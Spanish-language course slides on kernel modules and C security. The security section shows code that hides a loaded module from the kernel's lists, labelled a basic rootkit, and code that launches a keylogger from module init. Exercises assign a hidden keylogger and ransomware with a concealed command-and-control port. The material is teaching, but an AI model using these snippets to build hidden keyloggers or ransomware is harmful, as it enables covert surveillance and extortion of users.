



Lenguaje C y llamadas al Sistema.

Fernando C.

Temario.

- Módulos de kernel.
- Temas referentes a seguridad en desarrollo, overflows, etc.



Kernel modules.

- Un modulo de kernel es un programa que funciona como una extension para el kernel, dichos modulos no afectan la funcionalidad del kernel, sino que dependen de el.
- Un ejemplo de un modulo de kernel es un controlador de dispositivo, dado que un dispositivo como un teclado es hardware, debe existir una interfaz que interconecte su mapa de caracteres con el sistema operativo, dado que no queremos reescribir el kernel, ni recompilarlo, solo montamos un modulo sobre el.

Olvida lo que sabes...

- Los modulos de kernel no son mas que programas que pueden ser instalados para que funcionen en conjunto con el kernel para extender las funcionalidades del sistema operativo.
- Pero no se programan como hasta ahora lo hemos hecho.
- Los modulos de kernel no tienen funcion main()

lsmod .

En el sistema operativo existen modulos de kernel instalados durante la instalacion de muchas utilerias e incluso durante la propia instalacion de la distribucion de GNU/Linux, BSD, o el caso correspondiente.

Usualmente son transparentes para el usuario, pero siempre son visibles.

lsmod

Este comando nos muestra los modulos instalados en nuestro kernel.

Estructura de un modulo de kernel.

```
#include <linux/module.h> /* Necesario por todos los modulos */
#include <linux/kernel.h> /* Alertas e informacion */

int init_module(void)
{
    printk(KERN_INFO "Hola Mundo!.\n");
    /*
     * Si no se regresa 0, significa que el modulo no pudo ser cargado.
     */
    return 0;
}

void cleanup_module(void)
{
    printk(KERN_INFO "Goodbye world 1.\n");
}
```

printk

```
printk(KERN_INFO "Hello world 1.\n");
```

Printk imprime mensajes de informacion sobre la ejecucion del modulo de kernel.

Alguna vez has visto lo que tu kernel te dice sobre la ejecucion de programas determinados?

```
dmesg
```

Existen varios niveles de “informacion” para las acciones que un modulo de kernel registrara.

| | |
|--------------|--|
| KERN_EMERG | Emergency condition, system is probably dead |
| KERN_ALERT | Some problem has occurred, immediate attention is needed |
| KERN_CRIT | A critical condition |
| KERN_ERR | An error has occurred |
| KERN_WARNING | A warning |
| KERN_NOTICE | Normal message to take note of |
| KERN_INFO | Some information |
| KERN_DEBUG | Debug information related to the program |

Definidos en <linux/kern_levels.h>

HOLA MUNDO

El primer programa en todo lenguaje de programación o paradigma, siempre es un Hola Mundo, ignoro que pase con quien rompa la tradición, pero mejor no descubrirlo.

```
#include <linux/module.h> /* Necesario en todos los modulos */
#include <linux/kernel.h> /* Necesario para alertas e info como KERN_INFO */
#include <linux/init.h> /* Necesario para las macros init y exit */

static int __init inicio(void)
{
    printk(KERN_INFO "Hello, Mundo \n");
    return 0;
}

static void __exit fin(void)
{
    printk(KERN_INFO "Adios, Mundo \n");
}

module_init(inicio);
module_exit(fin);
```


Compilacion de un modulo de kernel.

MAKEFILES :)

Los makefiles como ya lo habiamos visto, son de suma importancia, pero quizas no dimensionamos su importancia hasta que los utilizamos con modulos de kernel.

obj-m := mod.o

all:

make -C /lib/modules/\$(shell uname -r)/build M=\$(shell pwd) modules

clean:

rm -rf *.o *.ko *.symvers *.mod.* *.order

Instalacion y eliminacion.

La instalacion de un modulo de kernel, se limita a un simple comando, insmod

Remover un modulo de kernel, es tambien tan simple como escribir rmmod.

Se puede comprobar la existencia de un modulo en los siguientes lugares y con los siguientes comandos.

```
grep modulo_de_kernel /proc/modules  
ls /sys/modules | grep modulo_de_kernel  
modinfo modulo_de_kernel  
modprobe -c | grep modulo_de_kernel  
grep modulo_de_kernel /proc/kallsyms  
lsmod
```

Permisos y autoria de un modulo de kernel.

Dentro de las definiciones de un modulo de kernel, podemos encontrar funciones que nos seran de utilidad al momento de brindar informacion sobre nuestro modulo de kernel.

```
MODULE_LICENSE("GPL");
```

```
MODULE_AUTHOR(DRIVER_AUTHOR);  
MODULE_DESCRIPTION(DRIVER_DESC);
```



El comando modinfo nos permite saber esta informacion sobre un modulo de kernel.

Permisos y autoria de un modulo de kernel.

Dentro de las definiciones de un modulo de kernel, podemos encontrar funciones que nos seran de utilidad al momento de brindar informacion sobre nuestro modulo de kernel.

```
MODULE_LICENSE("GPL");
```

```
MODULE_AUTHOR(DRIVER_AUTHOR);  
MODULE_DESCRIPTION(DRIVER_DESC);
```



El comando modinfo nos permite saber esta informacion sobre un modulo de kernel.

Relevancia en seguridad.

Rootkits...

Por ejemplo, se podría inicializar un keylogger realizado con llamadas al sistema, mandándolo a llamar desde el init del modulo de kernel, de esta forma la ejecucion se daría desde el mismo kernel.

Habría que ocultar la existencia del modulo de kernel.

Ocultando un modulo de kernel.

```
list_del_init(&THIS_MODULE->list);  
list_del(&THIS_MODULE->list);  
kobject_del(__this_module.holders_dir->parent);
```

Estas definiciones vienen incluidas en los propios headers de modulos de kernel, usarlas lo vuelve dificil de desinstalar, no ocupar en una maquina de “produccion”.

Felicidades, tienes un rootkit basico.

Llamando un ejecutable externo desde un modulo de kernel.

```
#define RUTA "/root/ejecutable_keylogger"
```

```
static int externo(void)
```

```
{
```

```
    char *argv[]={RUTA,NULL};
```

```
    static char
```

```
*envp[]={ "HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
```

```
    return call_usermodehelper(argv[0],argv,envp,UMH_WAIT_PROC);
```

```
}
```

```
static int __init x_x(void)
```

```
{
```

```
    return externo();
```

```
}
```

Practica 20. Prueba final

Has llegado muy lejos, lo cual me da mucho gusto, pero aun te espera una ultima prueba.

Crea un modulo de kernel que mande a llamar a un programa externo, en este caso, el keylogger de la practica 18, pero esta vez no se debe mostrar aquello que el usuario ingrese, sino dirigirlo a un archivo, el archivo puede estar en la ruta que se desee.

Proyecto. Segunda parte.

En caso de que la primera parte de tu proyecto no cumpla las condiciones para exentar.

Crear un modulo de kernel que ejecute tu ransomware, las características del ransomware se mantienen iguales, pero tanto el modulo de kernel, como el puerto que se utiliza para la comunicacion de tu ransomware con el command and control, debe ser invisible, no debe poder encontrarse informacion de la conexion con netstat.

Evaluacion:

Modulo de kernel y ocultamiento del mismo : 0.5

Ocultamiento del puerto: 1.0

Proyecto. Segunda parte.

En caso de que la primera parte de tu proyecto no cumpla las condiciones para exentar.

Crear un modulo de kernel que ejecute tu ransomware, las características del ransomware se mantienen iguales, pero tanto el modulo de kernel, como el puerto que se utiliza para la comunicacion de tu ransomware con el command and control, debe ser invisible, no debe poder encontrarse informacion de la conexion con netstat.

Evaluacion:

Modulo de kernel y ocultamiento del mismo : 0.5

Ocultamiento del puerto: 1.0

Referencias sobre rootkits de kernel de modulo.

<http://phrack.org/issues/68/11.html>



Programacion segura.

Se suele hablar mucho sobre la inexistencia de este termino, y se dice que tan solo se trata de practicas correctas de programacion.

Aun asi, puede verse en el siguiente documento el impacto que se tiene hoy en dia, sobre todo en aplicaciones web.
https://www.owasp.org/images/5/5f/OWASP_Top_10_-_2013_Final_-_Espa%C3%B1ol.pdf

Perdida de informacion en C.

Un entero en una arquitectura de 32 bits, suele tener 4 bytes disponibles para almacenar la informacion sobre una variable, pero si por algun motivo hacemos lo siguiente:

```
int x=293938738738728;
```

```
char a = x;
```

Un tipo de dato char tiene capacidad de almacenar solamente un byte.

Reglas de codificacion segura en C.

CERT.

<https://www.securecoding.cert.org/confluence/display/c/2+Rules>

Se deberia seguir el estandar de programacion segura en C.

Funciones inseguras.


Las funciones inseguras dependen de la implementacion de parte del programador, no de la implementacion del propio lenguaje por si misma.



Buffer Overflow.

Buffer-Overflow-Angriffe nutzen Schwachstellen aus, die sich aus Implementierungsfehlern als Folge einer nachlässigen Programmierung ergeben.

-Claudia Eckert.



Has provocado buffer overflow en incontables ocasiones sin saberlo.

Buffer Overflow.

```
char i[10];  
scanf("%s",&i);
```

Entrada: hola12323456778901234567891234567245


Esto provoca un desbordamiento de buffer?

Que es el buffer?

Buffer.

Memoria de almacenamiento temporal.

Se usa todo el tiempo, cuando se declara una variable de tipo arreglo(arreglo de chars, arreglo de enteros, arreglo de apuntadores, etc.)



Stack Overflow.

Descarga el archivo de fcastaneda.herokuapp.com/c/auth.c

-fno-stack-protector



Referencias sobre overflow.

<http://insecure.org/stf/smashstack.html>

Ya veras mucho shellcode en el modulo 3.



ROP

Return Oriented Programming.

<https://www.exploit-db.com/docs/28479.pdf>

<http://crypto.stanford.edu/~blynn/rop/>

A solid red square is located in the bottom-left corner of the slide.

Metodos de proteccion de memoria.

ASLR - Address Spacing Layout Randomization.

DEP/NX - Data Execution Prevention/No-execute.

SEHOP – Structured Exception Handler Overwrite Protection.



Es importante C en seguridad?

Que lo diga el malware programado en C y C++. Y por supuesto, el software antivirus.

Y los modulos de kernel que son utiles para tomar una imagen de memoria para analisis forense.

Y la gran cantidad de aplicaciones de seguridad programadas en C. NMAP es un ejemplo.

Lecciones aprendidas.

Debes decir al menos una.

Recomendaciones:

Hacking, the art of exploitation. No Starch Press.

The Bug Hunter Diary. No Starch Press.

The Linux Programming Interface. No Starch Press.

GRACIAS!

Revision a las 15:00

NO FALTES! :D

